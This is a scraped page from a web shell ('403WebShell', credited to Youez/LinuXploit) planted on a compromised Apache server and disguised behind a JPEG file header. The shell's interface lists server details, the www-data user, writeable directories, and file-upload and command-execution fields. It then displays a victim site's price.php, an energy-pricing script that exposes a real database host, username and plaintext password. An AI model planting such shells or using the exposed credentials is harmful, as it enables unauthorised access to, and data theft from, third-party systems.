????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.216.51.7
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/energicontrol/meo/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/energicontrol/meo/app/price.php
<?php
include '../setup.php';

$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "energicontrol");





?>

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Namnlöst dokument</title>


	
</head>

<body>

	

	
<?php
	
            $date_from30 = "startTime >= '".date('Y-m-d',strtotime("-30 days"))."'";
        
		              $from = "2022-12-01 00:00:00"; 
                    $to =  "2022-12-30 23:59:59"; 
        
            $sql = "SELECT * FROM tblEcoguard WHERE SensorName = '00016774' AND SensorType = 'ELEC' AND Time >= '$from' AND Time <= '$to'"; 
			$result2 = $mysqli->query($sql);

    $TOTPRIS = 0;
    $TOTKW = 0;
    $TOTPRIS30 = 0;
    $fixedprice = 2.86;
    
            while($obj2 = $result2->fetch_object()){  
                    $Time_Eco = $obj2->Time;	
                    $Kw = $obj2->Value;	
        
                	$from = "2022-12-01 T00:00:00Z"; 
                    $to =  "2022-12-30 T23:59:59Z"; 
                    $sql = "SELECT * FROM tblNordpool WHERE startTime >= '".$from."' and startTime <= '".$to."' and area = 'SE3' order by startTime";
                    $result = $mysqli->query($sql);

                        while($obj = $result->fetch_object()){  
                            $price = $obj->value/1000;
                            $time = $obj->startTime;
                            
                            $d = date("Y-m-d H:i:s",strtotime($time));
 
                                if($d == $Time_Eco){
                                   // echo($d ." : ".$price ." : ". $Kw. " = ".round($price*$Kw,4)."<br>"); 
                                    $TOTPRIS += $price*$Kw;
                                    $TOTPRIS30 += $fixedprice*$Kw;
                                    $TOTKW += $Kw;
                                }
                            
                        }
            }
    
    
     echo("PRIS: ".$TOTPRIS);
     echo("<br>PRIS 30: ".$TOTPRIS30);
     echo("<br>KW: ".$TOTKW);
	
    
    
	
	?>	
Astacus
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit